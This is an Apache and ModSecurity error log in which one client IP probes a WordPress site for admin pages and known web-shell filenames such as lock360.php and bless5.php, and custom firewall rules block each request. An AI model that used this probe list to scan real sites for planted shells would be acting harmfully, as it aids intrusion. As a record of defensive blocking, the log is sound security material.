[Mon Dec 22 19:09:23.340200 2025] [:error] [pid 33564:tid 33568] [client 4.217.179.78:29661] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/index.php"] [unique_id "aUkm4wSHeG6oLmMnKY6qNwAAAgE"]
[Mon Dec 22 19:09:24.165068 2025] [:error] [pid 56044:tid 56070] [client 4.217.179.78:16081] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/index.php"] [unique_id "aUkm5O60uUaieriJqP1aHQAAAJY"]
[Mon Dec 22 19:09:28.546205 2025] [:error] [pid 33471:tid 33474] [client 4.217.179.78:21573] [client 4.217.179.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aUkm6L5BeNE7regJ7iw2hQAAAUA"]
[Mon Dec 22 19:09:32.812376 2025] [autoindex:error] [pid 58078:tid 58096] [client 4.217.179.78:21256] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Dec 22 19:09:32.961642 2025] [:error] [pid 58078:tid 58092] [client 4.217.179.78:21256] [client 4.217.179.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/about.php"] [unique_id "aUkm7JWKg9Bf8njHlB4ftgAAAAk"]
[Mon Dec 22 19:09:35.310905 2025] [:error] [pid 56044:tid 56053] [client 4.217.179.78:28421] [client 4.217.179.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aUkm7-60uUaieriJqP1aJQAAAIU"]
[Mon Dec 22 19:09:40.631361 2025] [proxy_fcgi:error] [pid 56080:tid 56142] [client 4.217.179.78:28452] AH01071: Got error 'Primary script unknown'
[Mon Dec 22 19:09:48.183172 2025] [:error] [pid 58078:tid 58104] [client 4.217.179.78:22357] [client 4.217.179.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.217.179.78, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUkm_JWKg9Bf8njHlB4fxQAAABU"]
[Mon Dec 22 19:09:50.823057 2025] [autoindex:error] [pid 56080:tid 56131] [client 4.217.179.78:28452] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Dec 22 19:09:52.425808 2025] [:error] [pid 56080:tid 56140] [client 4.217.179.78:28452] [client 4.217.179.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/index.php"] [unique_id "aUknAJIHT3YJq9hjDc7UTAAAAxA"]
[Mon Dec 22 19:09:54.707939 2025] [:error] [pid 56044:tid 56066] [client 4.217.179.78:17871] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/index.php"] [unique_id "aUknAu60uUaieriJqP1aMwAAAJI"]
[Mon Dec 22 19:09:55.482332 2025] [:error] [pid 33440:tid 33457] [client 4.217.179.78:29227] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/index.php"] [unique_id "aUknA5OsUWKqgxu6QTQdcQAAAQ8"]
[Mon Dec 22 19:09:56.320814 2025] [:error] [pid 33440:tid 33455] [client 4.217.179.78:25016] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/index.php"] [unique_id "aUknBJOsUWKqgxu6QTQddAAAAQ0"]
[Mon Dec 22 19:09:57.319709 2025] [:error] [pid 33564:tid 33572] [client 4.217.179.78:24974] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/index.php"] [unique_id "aUknBQSHeG6oLmMnKY6qWAAAAgU"]
[Mon Dec 22 19:09:58.338160 2025] [:error] [pid 58172:tid 58192] [client 4.217.179.78:24970] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/admin.php"] [unique_id "aUknBuSVKDT5jWOcnSXQ5wAAANI"]
[Mon Dec 22 19:10:00.248921 2025] [:error] [pid 58078:tid 58097] [client 4.217.179.78:23885] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/admin.php"] [unique_id "aUknCJWKg9Bf8njHlB4f2gAAAA4"]
[Mon Dec 22 19:10:00.946955 2025] [:error] [pid 58078:tid 58099] [client 4.217.179.78:53396] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/admin.php"] [unique_id "aUknCJWKg9Bf8njHlB4f3AAAABA"]
[Mon Dec 22 19:10:01.786432 2025] [:error] [pid 58078:tid 58107] [client 4.217.179.78:30406] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/admin.php"] [unique_id "aUknCZWKg9Bf8njHlB4f3wAAABg"]
[Mon Dec 22 19:10:02.546278 2025] [:error] [pid 56155:tid 56228] [client 4.217.179.78:53432] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aUknCmG8a3wQucsuN67gQwAAA4Y"]
[Mon Dec 22 19:10:03.288389 2025] [:error] [pid 33440:tid 33465] [client 4.217.179.78:6950] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aUknC5OsUWKqgxu6QTQdeQAAARc"]
[Mon Dec 22 19:10:04.020097 2025] [:error] [pid 33472:tid 33518] [client 4.217.179.78:28633] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aUknDJ5p2WQpPIK8HAkbNQAAAZE"]
[Mon Dec 22 19:10:05.043688 2025] [:error] [pid 56044:tid 56054] [client 4.217.179.78:29213] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aUknDe60uUaieriJqP1aOQAAAIY"]
[Mon Dec 22 19:10:05.939257 2025] [:error] [pid 33440:tid 33447] [client 4.217.179.78:53422] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/admin.php"] [unique_id "aUknDZOsUWKqgxu6QTQdfgAAAQU"]
[Mon Dec 22 19:10:07.666248 2025] [:error] [pid 33535:tid 33545] [client 4.217.179.78:25978] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/admin.php"] [unique_id "aUknD2OCI8D9Xtn-n7Sq_AAAAcg"]
[Mon Dec 22 19:10:09.215810 2025] [:error] [pid 58078:tid 58094] [client 4.217.179.78:27427] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/admin.php"] [unique_id "aUknEZWKg9Bf8njHlB4f5gAAAAs"]
[Mon Dec 22 19:10:09.864141 2025] [:error] [pid 33440:tid 33460] [client 4.217.179.78:24280] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/admin.php"] [unique_id "aUknEZOsUWKqgxu6QTQdgQAAARI"]
[Mon Dec 22 19:10:11.344727 2025] [:error] [pid 33564:tid 33581] [client 4.217.179.78:29867] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aUknEwSHeG6oLmMnKY6qYQAAAg4"]
[Mon Dec 22 19:10:12.113455 2025] [:error] [pid 58078:tid 58105] [client 4.217.179.78:24299] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aUknFJWKg9Bf8njHlB4f6wAAABY"]
[Mon Dec 22 19:10:12.999018 2025] [:error] [pid 33472:tid 33503] [client 4.217.179.78:24227] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aUknFJ5p2WQpPIK8HAkbOwAAAYI"]
[Mon Dec 22 19:10:14.122882 2025] [:error] [pid 33472:tid 33511] [client 4.217.179.78:29836] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aUknFp5p2WQpPIK8HAkbPwAAAYo"]
[Mon Dec 22 19:10:15.221319 2025] [:error] [pid 33535:tid 33546] [client 4.217.179.78:46081] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "aUknF2OCI8D9Xtn-n7Sq_gAAAck"]
[Mon Dec 22 19:10:16.180164 2025] [:error] [pid 33472:tid 33515] [client 4.217.179.78:20775] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "aUknGJ5p2WQpPIK8HAkbQAAAAY4"]
[Mon Dec 22 19:10:17.425378 2025] [:error] [pid 56044:tid 56053] [client 4.217.179.78:46102] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "aUknGe60uUaieriJqP1aPQAAAIU"]
[Mon Dec 22 19:10:18.028161 2025] [:error] [pid 58078:tid 58100] [client 4.217.179.78:31032] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "aUknGpWKg9Bf8njHlB4f8QAAABE"]
[Mon Dec 22 19:10:18.630097 2025] [:error] [pid 33440:tid 33449] [client 4.217.179.78:30753] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless5.php"] [unique_id "aUknGpOsUWKqgxu6QTQdigAAAQc"]
[Mon Dec 22 19:10:19.191931 2025] [:error] [pid 58078:tid 58104] [client 4.217.179.78:26437] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless5.php"] [unique_id "aUknG5WKg9Bf8njHlB4f8gAAABU"]
[Mon Dec 22 19:10:20.390369 2025] [:error] [pid 58172:tid 58185] [client 4.217.179.78:30339] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless5.php"] [unique_id "aUknHOSVKDT5jWOcnSXQ_QAAAMs"]
[Mon Dec 22 19:10:21.908162 2025] [:error] [pid 33472:tid 33516] [client 4.217.179.78:30769] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless5.php"] [unique_id "aUknHZ5p2WQpPIK8HAkbSQAAAY8"]
[Mon Dec 22 19:10:22.410193 2025] [:error] [pid 58078:tid 58093] [client 4.217.179.78:30976] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aUknHpWKg9Bf8njHlB4f8wAAAAo"]
[Mon Dec 22 19:10:23.309945 2025] [:error] [pid 56044:tid 56050] [client 4.217.179.78:21093] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aUknH-60uUaieriJqP1aRAAAAII"]
[Mon Dec 22 19:10:24.026175 2025] [:error] [pid 33564:tid 33570] [client 4.217.179.78:27926] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aUknIASHeG6oLmMnKY6qbQAAAgM"]
[Mon Dec 22 19:10:24.693699 2025] [:error] [pid 58172:tid 58184] [client 4.217.179.78:21107] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aUknIOSVKDT5jWOcnSXRBAAAAMo"]
[Mon Dec 22 19:10:25.903200 2025] [:error] [pid 33564:tid 33586] [client 4.217.179.78:28763] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aUknIQSHeG6oLmMnKY6qbgAAAhM"]
[Mon Dec 22 19:10:26.365291 2025] [:error] [pid 58172:tid 58198] [client 4.217.179.78:6729] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aUknIuSVKDT5jWOcnSXRBwAAANg"]
[Mon Dec 22 19:10:27.350683 2025] [:error] [pid 56155:tid 56236] [client 4.217.179.78:21098] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aUknI2G8a3wQucsuN67gUgAAA44"]
[Mon Dec 22 19:10:27.913431 2025] [:error] [pid 33564:tid 33574] [client 4.217.179.78:21073] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aUknIwSHeG6oLmMnKY6qdAAAAgc"]
[Mon Dec 22 19:10:28.854666 2025] [:error] [pid 56044:tid 56056] [client 4.217.179.78:16010] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o1.php"] [unique_id "aUknJO60uUaieriJqP1aSQAAAIg"]
[Mon Dec 22 19:10:29.893120 2025] [:error] [pid 56155:tid 56244] [client 4.217.179.78:28741] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o1.php"] [unique_id "aUknJWG8a3wQucsuN67gVQAAA5Y"]
[Mon Dec 22 19:10:30.614761 2025] [:error] [pid 58172:tid 58185] [client 4.217.179.78:27932] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o1.php"] [unique_id "aUknJuSVKDT5jWOcnSXRFwAAAMs"]
[Mon Dec 22 19:10:32.100690 2025] [:error] [pid 33472:tid 33507] [client 4.217.179.78:24636] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o1.php"] [unique_id "aUknKJ5p2WQpPIK8HAkbUgAAAYY"]
[Mon Dec 22 19:10:33.313915 2025] [:error] [pid 58078:tid 58083] [client 4.217.179.78:27933] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ha.php"] [unique_id "aUknKZWKg9Bf8njHlB4f-gAAAAA"]
[Mon Dec 22 19:10:33.887626 2025] [:error] [pid 58078:tid 58099] [client 4.217.179.78:28762] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ha.php"] [unique_id "aUknKZWKg9Bf8njHlB4f_gAAABA"]
[Mon Dec 22 19:10:35.053233 2025] [:error] [pid 33472:tid 33512] [client 4.217.179.78:29626] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ha.php"] [unique_id "aUknK55p2WQpPIK8HAkbVQAAAYs"]
[Mon Dec 22 19:10:35.710539 2025] [:error] [pid 33471:tid 33479] [client 4.217.179.78:6403] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ha.php"] [unique_id "aUknK75BeNE7regJ7iw2nwAAAUU"]
[Mon Dec 22 19:10:36.588448 2025] [:error] [pid 58172:tid 58187] [client 4.217.179.78:7096] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gg.php"] [unique_id "aUknLOSVKDT5jWOcnSXRIQAAAM0"]
[Mon Dec 22 19:10:37.155016 2025] [:error] [pid 56155:tid 56223] [client 4.217.179.78:7060] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gg.php"] [unique_id "aUknLWG8a3wQucsuN67gVwAAA4E"]
[Mon Dec 22 19:10:38.589276 2025] [:error] [pid 56155:tid 56243] [client 4.217.179.78:20530] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gg.php"] [unique_id "aUknLmG8a3wQucsuN67gWAAAA5U"]
